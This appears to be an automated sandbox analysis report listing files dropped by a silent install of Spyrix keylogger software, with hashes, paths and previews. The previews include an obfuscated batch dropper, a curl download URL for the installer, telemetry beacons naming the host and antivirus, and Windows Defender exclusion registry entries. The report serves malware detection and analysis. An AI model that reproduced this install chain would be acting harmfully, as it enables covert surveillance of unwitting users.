Preview:	L..................F.... ....d.....o.f......hm..................................P.O. .:i.....+00.../C:\...................`.1.....BYh!. PROGRA~3..H......O.IBYh!....g.....................I...P.r.o.g.r.a.m.D.a.t.a.....j.1.....BYh!. SECURI~1..R......BYh!BYh!..........................I...S.e.c.u.r.i.t.y. .M.o.n.i.t.o.r.......1.....BYm!. {827D2~1..~......BYh!BYm!..........................o...{.8.2.7.D.2.1.C.C.-.A.2.2.D.-.4.5.D.6.-.2.3.C.A.-.4.5.1.D.D.A.C.7.6.9.B.A.}.....f.2.....BYP! unins000.exe..J......BYh!BYh!............................z.u.n.i.n.s.0.0.0...e.x.e.......................-....................+.f.....C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\unins000.exe..M.....\.....\.....\.S.e.c.u.r.i.t.y. .M.o.n.i.t.o.r.\.{.8.2.7.D.2.1.C.C.-.A.2.2.D.-.4.5.D.6.-.2.3.C.A.-.4.5.1.D.D.A.C.7.6.9.B.A.}.\.u.n.i.n.s.0.0.0...e.x.e.F.C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.S.e.c.u.r.i.t.y. .M.o.n.i.t.o.r.\.{.8.2.7.D.2.1.C.C.-.A.2.2.D.-.4.5.D.6.-.2.3.C.A.-.4.5.1.D.D.A.C.7.6.9

C:\ProgramData\Spyrix Free Keylogger\temp\stat\app_Monitoring_StartButton_6E3F587357F4ED7D7098E81DD0F931D7

Download File

Process:	C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe
File Type:	ASCII text, with very long lines (426), with no line terminators
Category:	dropped
Size (bytes):	426
Entropy (8bit):	5.1125891031978155
Encrypted:	false
SSDEEP:	6:FB92iY7hCkrMBJWxDUEzUwXVX/MWKGnldbdYgfiE3T+tD0UDiA7TGCGJJpU8hPRO:LK7EkrMBYpDXVX/Ml8ldbdAEkZF8FRZE
MD5:	BCB49E18E213700048440A09114D3892
SHA1:	04F8849B08E22EF5C345075AB84D5D698E219E92
SHA-256:	72F4C255F8BF6CCF72474D6FCAF61D6AEBAFFDA5A28703E55D4726F6C9A72B2A
SHA-512:	74F32EA899AE2CF3DE29E837CDCF64572D4ED166C12151220C3AD29E5E13A36FB3F54E83F38BDBD62978788F091D97A6163A58AEA875B76AD587C09EB0B77785
Malicious:	false
Reputation:	unknown
Preview:	&action=app:Monitoring:StartButton&data=&prg_id=Spyrix Free Keylogger&prg_ver=11.6.22&user_name=user&user=&comp_name=841618&comp_id=9e146be9-c76a-4720-bcdb-53011b87bd06_241002001034&comp_time=2024-10-02 00:11:40.504&prg_lng=english&os_caption= ()&os_type=windows&os_country_code=&time_shift=-5&os_install_date=-- ::&av=Windows Defender&dnet=4.8.04084&trial_id=-1&license=&prg_seconds=3&token=d4fcb2b5aae1e2b5ad4e48c668acd93a

C:\ProgramData\Spyrix Free Keylogger\temp\stat\app_Monitoring_Start_6E3F587357F4ED7D7098E81DD0F931D7

Download File

Process:	C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe
File Type:	ASCII text, with very long lines (420), with no line terminators
Category:	dropped
Size (bytes):	420
Entropy (8bit):	5.107994759181769
Encrypted:	false
SSDEEP:	6:FB92iNECkrMBJWxDUEzUwXVX/MWKGA6VbdYgfiE3T+tD0UDiA7TGCGJJpLdyVrX+:LbHkrMBYpDXVX/MlhwbdAEkZmdyFzS
MD5:	4675E8FDD5EF190826DC88CA59C3FE22
SHA1:	79F8BC82A0FA9718C816E06198B1B3F3DC716076
SHA-256:	97745BABF93A4D233536FA6ED49823251F92C7CE354C8B841C73E0C1116B4E43
SHA-512:	616282A2B6E3E3C24CB4DA1C0CF414C26A7E65E8DAA44F025FC91D83947C5957C68F1B912D2E76CDBF1BC70972F91FF3B14DA07BFF0D25D4C5FB3AE324C95A5E
Malicious:	false
Reputation:	unknown
Preview:	&action=app:Monitoring:Start&data=&prg_id=Spyrix Free Keylogger&prg_ver=11.6.22&user_name=user&user=&comp_name=841618&comp_id=9e146be9-c76a-4720-bcdb-53011b87bd06_241002001034&comp_time=2024-10-02 00:11:44.043&prg_lng=english&os_caption= ()&os_type=windows&os_country_code=&time_shift=-5&os_install_date=-- ::&av=Windows Defender&dnet=4.8.04084&trial_id=-1&license=&prg_seconds=6&token=2bb780c82309a4c6c1182ce6b7ef4430

C:\ProgramData\Spyrix Free Keylogger\temp\stat\app_Run_First_6E3F587357F4ED7D7098E81DD0F931D7

Download File

Process:	C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe
File Type:	ASCII text, with very long lines (413), with no line terminators
Category:	dropped
Size (bytes):	413
Entropy (8bit):	5.150916845083557
Encrypted:	false
SSDEEP:	6:FBWRglCkrMBJWxDUEzUwXVX/MWKGP/bdYgfiE3T+tD0UDiA7TGCGJJpQNDuiId:LWTkrMBYpDXVX/MlYbdAEkZBND8d
MD5:	AB50B152046B4AA104F4DE4573881F05
SHA1:	A9085492B9DE234746A3162A41408A472DA5E2FA
SHA-256:	1909B49D15FDC8F68C63DF81718E1F4679BDE754756D52323EAA50B1B59A6EEC
SHA-512:	C180EA066994F314FD454041BEC42F575F750D2C44BF0CE2056FEC3170085FED776770D401363C1390BFAFBDA76021A92A91EB23451DFF22058EABE7909CDBC3
Malicious:	false
Reputation:	unknown
Preview:	&action=app:Run:First&data=&prg_id=Spyrix Free Keylogger&prg_ver=11.6.22&user_name=user&user=&comp_name=841618&comp_id=9e146be9-c76a-4720-bcdb-53011b87bd06_241002001034&comp_time=2024-10-02 00:11:44.517&prg_lng=english&os_caption= ()&os_type=windows&os_country_code=&time_shift=-5&os_install_date=-- ::&av=Windows Defender&dnet=4.8.04084&trial_id=-1&license=&prg_seconds=7&token=24aebcf9f9653563e018e7df9f058938

C:\ProgramData\Spyrix Free Keylogger\temp\stat\app_wizard_Start_6E3F587357F4ED7D7098E81DD0F931D7

Download File

Process:	C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe
File Type:	ASCII text, with very long lines (417), with no line terminators
Category:	dropped
Size (bytes):	417
Entropy (8bit):	5.126533997109294
Encrypted:	false
SSDEEP:	6:FB/f+rNECkrMBJWxDUEzUwXVX/MWKGiHfbdYgfiE3T+tD0UDiA7TGCGJJpWzuo9y:L/f+JHkrMBYpDXVX/MlHfbdAEkZTusy
MD5:	FA94D4B34652F3E9796F097A5DA845A3
SHA1:	6FBB2137339F93F90FC6241B585015A035077A45
SHA-256:	A09D13DCB8216A0BB109FF6A398AB65372879C691B4B31326A848E4DD22921BF
SHA-512:	4BF446FC90D86DA5322D6AF6DC3B142A1A20D21F52545D60C01465097FDC6E0CF8C5EF0222B698FBF1331AB03BB2CACD8A9538974F23695D9E6C6865847CE34A
Malicious:	false
Reputation:	unknown
Preview:	&action=app:wizard:Start&data=&prg_id=Spyrix Free Keylogger&prg_ver=11.6.22&user_name=user&user=&comp_name=841618&comp_id=9e146be9-c76a-4720-bcdb-53011b87bd06_241002001034&comp_time=2024-10-02 00:11:50.159&prg_lng=english&os_caption= ()&os_type=windows&os_country_code=&time_shift=-5&os_install_date=-- ::&av=Windows Defender&dnet=4.8.04084&trial_id=-1&license=&prg_seconds=12&token=67dd0177b76771b9e9413e881ae18b36

C:\ProgramData\Spyrix Free Keylogger\temp\stat\dlog\2024-10.wdb

Download File

Process:	C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe
File Type:	SQLite 3.x database, last written using SQLite version 3013000, file counter 10, database pages 4, cookie 0x2, schema 4, UTF-8, version-valid-for 10
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	1.2239017946472395
Encrypted:	false
SSDEEP:	24:TLmoez2/2EivyGIct0+heQnlmVeKXR+ENC4n08ldOlflGiDvOlLea2WOc:TaLa/2paCbKX0ENC4h0l8lww
MD5:	B5D0CF6DC3E082014481668611FE17A3
SHA1:	5A84F987CCD5AF8C5A718D1EDC5CF78DC12FC73C
SHA-256:	B842525D45304CE94D4B8BF8F51D02DA3BA8A414A6BBABF8921A202122B17061
SHA-512:	C823AB0FF9ABE135E772FE9B57000F95D2CBDEAF989C38A4D1D2D517F04B138CD81DE3BC5493381195BCA69B6B6C32EB91994E70D6FBD8A7952CB76FB4BE5F39
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .........................................................................-.............;........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Spyrix Free Keylogger\temp\stat\dlog\2024-10.wdb-journal

Download File

Process:	C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	16928
Entropy (8bit):	1.111054634253938
Encrypted:	false
SSDEEP:	24:7+t5ea2WOzO/VeQnlmVeKXR+ENC4n08ldOlflGiDvOl0qL65oez2/2EivyGIP:7MK3aVbKX0ENC4h0l8l0q25La/2paX
MD5:	C24A8C1229C88DCBAEF9EBC02614D4FC
SHA1:	AD757439ED18DD4EAD81150E0088764FC6D807D9
SHA-256:	2238EBC534585E9486F968F80DE00721EFE2E4C557D0F1E64FB53A62032860B5
SHA-512:	6443AF3370E55A339A988D1FBF639758F305ADCD2874AD70FA3BE995C0686E8204AB315884E348A42B22B6891D58986C1201932F7FCED0F4B9EA369C9A1F029D
Malicious:	false
Reputation:	unknown
Preview:	.... .c.....ASIc..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................=..........u.Y.=..............................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\{972DC8CA-126D-23FD-11AA-92876DD12AFD}\5913A2D6482586A397876746C6020FBE

Download File

Process:	C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe
File Type:	HTML document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	36
Entropy (8bit):	4.593400348604437
Encrypted:	false
SSDEEP:	3:PouVKQzhquIw27n:h4Qzhqfn
MD5:	179EC8DFA22BD8C472285A4F01C3879C
SHA1:	C7F2C43F00D5D69B7C534EF9F7BB4D5EEACDDFA6
SHA-256:	5CA8C7050FF095DB093320A34382CB8859E9BE94795F1A7605B1BE1232D67668
SHA-512:	E0DE299D4E8173857050BFFF6FDDF93CF88471490F072C904124F685124B80AD5AB84B119F55B75281EE3E4E9BA688593842F7BF1A78FE650F41A7FEC2A6888B
Malicious:	false
Reputation:	unknown
Preview:	<!DOCTYPE html>..<html lang="en-US">

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\404.exe.log

Download File

Process:	C:\Users\user\Desktop\404.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1119
Entropy (8bit):	5.345080863654519
Encrypted:	false
SSDEEP:	24:MLUE4K5E4KH1qE4qXKDE4KhKiKhPKIE4oKNzKoZAE4Kze0E4j:MIHK5HKH1qHiYHKh3oPtHo6hAHKze0Hj
MD5:	88593431AEF401417595E7A00FE86E5F
SHA1:	1714B8F6F6DCAAB3F3853EDABA7687F16DD331F4
SHA-256:	ED5E60336FB00579E0867B9615CBD0C560BB667FE3CEE0674F690766579F1032
SHA-512:	1D442441F96E69D8A6D5FB7E8CF01F13AF88CA2C2D0960120151B15505DD1CADC607EF9983373BA8E422C65FADAB04A615968F335A875B5C075BB9A6D0F346C9
Malicious:	true
Reputation:	unknown
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\2192b0d5aa4aa14486ae08118d3b9fcc\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\2062ed810929ec0e33254c02

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	modified
Size (bytes):	64
Entropy (8bit):	0.34726597513537405
Encrypted:	false
SSDEEP:	3:Nlll:Nll
MD5:	446DD1CF97EABA21CF14D03AEBC79F27
SHA1:	36E4CC7367E0C7B40F4A8ACE272941EA46373799
SHA-256:	A7DE5177C68A64BD48B36D49E2853799F4EBCFA8E4761F7CC472F333DC5F65CF
SHA-512:	A6D754709F30B122112AE30E5AB22486393C5021D33DA4D1304C061863D2E1E79E8AEB029CAE61261BB77D0E7BECD53A7B0106D6EA4368B4C302464E3D941CF7
Malicious:	false
Reputation:	unknown
Preview:	@...e...........................................................

C:\Users\user\AppData\Local\Temp\38b5bf3b-2a32-4636-ac09-779581aade41\38b5bf3b-2a32-4636-ac09-779581aade41.cmd

Download File

Process:	C:\Users\user\Desktop\404.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	14030
Entropy (8bit):	5.405691401739059
Encrypted:	false
SSDEEP:	192:LlWIFxnd55cTrI3sK+8SjGi0YhMRV+2nwtbWCwns4MeDtzGXJBx4Izc31RbAhioG:LlWIv7YrIhPisV5nCWC6RUzc0EI2
MD5:	081E2028B173B9D383478E3489F7A258
SHA1:	3197E84FCC0BA11E2E1DE68BDC9B161755D45343
SHA-256:	78F3B824EC815E3C87FAE609D74522966472294DF7D1A3053BE267E910DC8F97
SHA-512:	56C87AA30BADD11C5B9F8B990BBBCF47B78F1AD615BDD6C1E9C5C589DB92BF48B00AF9D1A3796572CF4CC2BA16299ABBFD04C5CAE6FBC35924094DD9C6B9A71F
Malicious:	false
Reputation:	unknown
Preview:	rem cv4giid3r06rzwxi091mwii6ft8by0x9z7jf1..rem tb9ii819k52pi7evrcb63mb0yvx0rby56gl7zd0j1s4teva5p..@echo off..rem fx2xh6wgn9xmxk3crhek04450ljkt..rem qd5j3zhc46fzvj7zt5dwbzeustksw7a65ji5flw1358dh2pmwpbrk2y3wr..rem 9hyquztx1b44y96kh2s6ttedm5umlnnh6szx6k635834l2lnu6cu38o424df1ox6l3yxkp7q7zl780saoe704bshd63i0ssk4971c6m25h..rem 7d7vtd49m0wz2t6a00d08132m9908qn9jc3e1ryp8yp930v9zmt3f4bqf3z5mci1ihwjmnoagfzacf22mk9t1u5mwkkujre69v48d15gts7xhpoxx..reg query "HKU\S-1-5-19\Environment" >nul 2>&1..rem b9hd6ogtkm2fspkr8xakhh0vm5cui1oceufz9kw2atgt3jekq867964h0n0lbdfms683..rem yubs5mb1mrwc739992czez10zvzfl31uojha6crhcyv8fuyzh75ohewk6and2u672rv63pk94iye4ih95p90hqer9il2..rem pqihp5k3xibnobv82tnuyy6jz6pbgy29k7donwedeidyf7zuzlo3c4e32njcj7f0kveu..rem ai0tafk3xzszbha3lj6vqjct5rjb3sq1fe9..if not %errorlevel% EQU 0 (..rem sy5v0588quowvrsfdngexn7nns90wurwmpb93uyhho3cl7rxvgq9cft5ecl8vsknqsa3w7..rem dpm8uf98qa58ix9axczfp9..rem mccr1m0x6jazoo40jmdev93r5hbn5arhrtt6r86qjb5suue57e93z9ep1..rem 3sgu1bm2ze7x8zlnaqoy3cwln.

C:\Users\user\AppData\Local\Temp\38b5bf3b-2a32-4636-ac09-779581aade41\404.exe

Download File

Process:	C:\Windows\SysWOW64\curl.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	modified
Size (bytes):	33441448
Entropy (8bit):	7.998895110211762
Encrypted:	true
SSDEEP:	786432:sEKNHXUy8paSpU5Nqs6QWYTYAUgde09g6i53G+wSl:NE3ULMSkQs6vXBPzRG+wg
MD5:	0F335D8996D82DA30FE9286C671FA0CD
SHA1:	FF64FF5AB0FF7C848809D5A82B2F6248B38F8FA5
SHA-256:	10DED982BDF7EF7F33FD417C7D818D131B7C73CBF6E955BBE04FBA656B37FED7
SHA-512:	12BD786BB93856D09826AB5D612FB3213CF8F6EC0C0240C27A0CDC510D56F4F4089636736D1A168463A6AC824E7B2ACE2611E6A5E8E0138C490B534662B54600
Malicious:	true
Reputation:	unknown
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L......W.....................p............... ....@..................................3....@......@.......................................O...........%...!...........................................................................................text...D........................... ..`.itext..d........................... ..`.data........ ......................@....bss.....V...0...........................idata..............................@....tls.................&...................rdata...............&..............@..@.rsrc....O.......P...(..............@..@....................................@..@........................................................................................................................................

C:\Users\user\AppData\Local\Temp\38b5bf3b-2a32-4636-ac09-779581aade41\l

Download File

Process:	C:\Windows\SysWOW64\curl.exe
File Type:	ASCII text, with no line terminators
Category:	modified
Size (bytes):	63
Entropy (8bit):	4.431246742289477
Encrypted:	false
SSDEEP:	3:N8fhmPMdUKLR3QVL4A:280dVtgVL4A
MD5:	F8F417F775B9CC418AAA7AD2592324C1
SHA1:	5F2E034B5A2B39B99BA0447FF8F3898D8D1E455D
SHA-256:	4048A5F29484C100ED0F87BBE6D462939C050E7F011B9327AC66837F9F269AA6
SHA-512:	79E2BF550C0A463E62AEDECE5AA5ABB11DE38AADF82B8BE118BCE49F2D0542DE23D656F7C311F3839845261A1754839F507C83C0AB4003F5508DE9E6A9CA01A3
Malicious:	false
Reputation:	unknown
Preview:	https://swtb-download.spyrix-sfk.com/download/sfk/sfk_setup.exe

C:\Users\user\AppData\Local\Temp\38b5bf3b-2a32-4636-ac09-779581aade41\stld2.tmp

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	11
Entropy (8bit):	3.095795255000934
Encrypted:	false
SSDEEP:	3:nWDn:nWD
MD5:	285130BE63E78277DF11A9108B363925
SHA1:	92DD2F701821CACA090F8058BD054E840FFF88CC
SHA-256:	CFAEB467D2A24A24D97D2E8267E68E6D7C6C805D928DA760D6706AA20608FF5F
SHA-512:	30755D1EC6BEF8B943100F321489ABBE09306817099623DE7916EC2F1CB9CCD191EBD8939352DAC6207AEB95963A30690452037C808FC165DB12C54099377BAC
Malicious:	false
Reputation:	unknown
Preview:	sfkstart ..

C:\Users\user\AppData\Local\Temp\38b5bf3b-2a32-4636-ac09-779581aade41\stld3.tmp

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	10
Entropy (8bit):	3.321928094887362
Encrypted:	false
SSDEEP:	3:n8xn:n8xn
MD5:	CDB1A48B259C774953CF6BBE7400307F
SHA1:	EA21684C2E98E04545F277AE0536ABB632C4327C
SHA-256:	AC4A42FD557E8EF69E1D3BED829ED3A4AD955C40F96BE52315D72C269ADE781A
SHA-512:	AA6132B49DC4A18909D975F92FA5D3D21B5B78FAA21913B17042F8AE71CE180280C6767159F3442CB0DFA62C6E42DB39C0F62AA54C2D5DB883BF4AC509F077F7
Malicious:	false
Reputation:	unknown
Preview:	sfkdone ..

C:\Users\user\AppData\Local\Temp\REG214A.tmp

Download File

Process:	C:\Windows\System32\reg.exe
File Type:	Windows Registry little-endian text (Win2K or above)
Category:	dropped
Size (bytes):	236
Entropy (8bit):	3.6440699182134826
Encrypted:	false
SSDEEP:	6:Qyk+SkWCiiCRroZ6IJlUAG+DZKHWn+SkUkDkqOEcRKw:Qy5hVZteAxDZaW+oVd3
MD5:	0A7F333C72BA23F66948D2F7ACAF391E
SHA1:	4E232F923162508127336631C7A734982795FC6F
SHA-256:	C0E694FE96F168B2E1C2C6710E2DA625849F72A5260AC6F8AFD7B399B82C7026
SHA-512:	E770D89B07783F9EDBD8F13D0D369CB3CF59BD666BDEA34276EB29FB8334A413A3F8159C9FD235CF9710937EE29838AA0665EC4CDC3B03204AE353B2EF1F2A91
Malicious:	false
Reputation:	unknown
Preview:	..W.i.n.d.o.w.s. .R.e.g.i.s.t.r.y. .E.d.i.t.o.r. .V.e.r.s.i.o.n. .5...0.0.........[.H.K.E.Y._.L.O.C.A.L._.M.A.C.H.I.N.E.\.S.O.F.T.W.A.R.E.\.M.i.c.r.o.s.o.f.t.\.W.i.n.d.o.w.s. .D.e.f.e.n.d.e.r.\.E.x.c.l.u.s.i.o.n.s.\.P.a.t.h.s.].........

C:\Users\user\AppData\Local\Temp\REG8851.tmp

Download File

Process:	C:\Windows\System32\reg.exe
File Type:	Windows Registry little-endian text (Win2K or above)
Category:	dropped
Size (bytes):	236
Entropy (8bit):	3.6440699182134826
Encrypted:	false
SSDEEP:	6:Qyk+SkWCiiCRroZ6IJlUAG+DZKHWn+SkUkDkqOEcRKw:Qy5hVZteAxDZaW+oVd3
MD5:	0A7F333C72BA23F66948D2F7ACAF391E
SHA1:	4E232F923162508127336631C7A734982795FC6F
SHA-256:	C0E694FE96F168B2E1C2C6710E2DA625849F72A5260AC6F8AFD7B399B82C7026
SHA-512:	E770D89B07783F9EDBD8F13D0D369CB3CF59BD666BDEA34276EB29FB8334A413A3F8159C9FD235CF9710937EE29838AA0665EC4CDC3B03204AE353B2EF1F2A91
Malicious:	false
Reputation:	unknown
Preview:	..W.i.n.d.o.w.s. .R.e.g.i.s.t.r.y. .E.d.i.t.o.r. .V.e.r.s.i.o.n. .5...0.0.........[.H.K.E.Y._.L.O.C.A.L._.M.A.C.H.I.N.E.\.S.O.F.T.W.A.R.E.\.M.i.c.r.o.s.o.f.t.\.W.i.n.d.o.w.s. .D.e.f.e.n.d.e.r.\.E.x.c.l.u.s.i.o.n.s.\.P.a.t.h.s.].........

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_1idi3d0c.dxg.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_1n51sivl.hfg.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_32edlxif.4xa.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_3jcee02h.amw.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_3r2di4fb.awu.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ba3ii2y2.mvf.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_cf0hrlcr.21h.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_e4fgviju.50p.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_eielro4i.flp.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
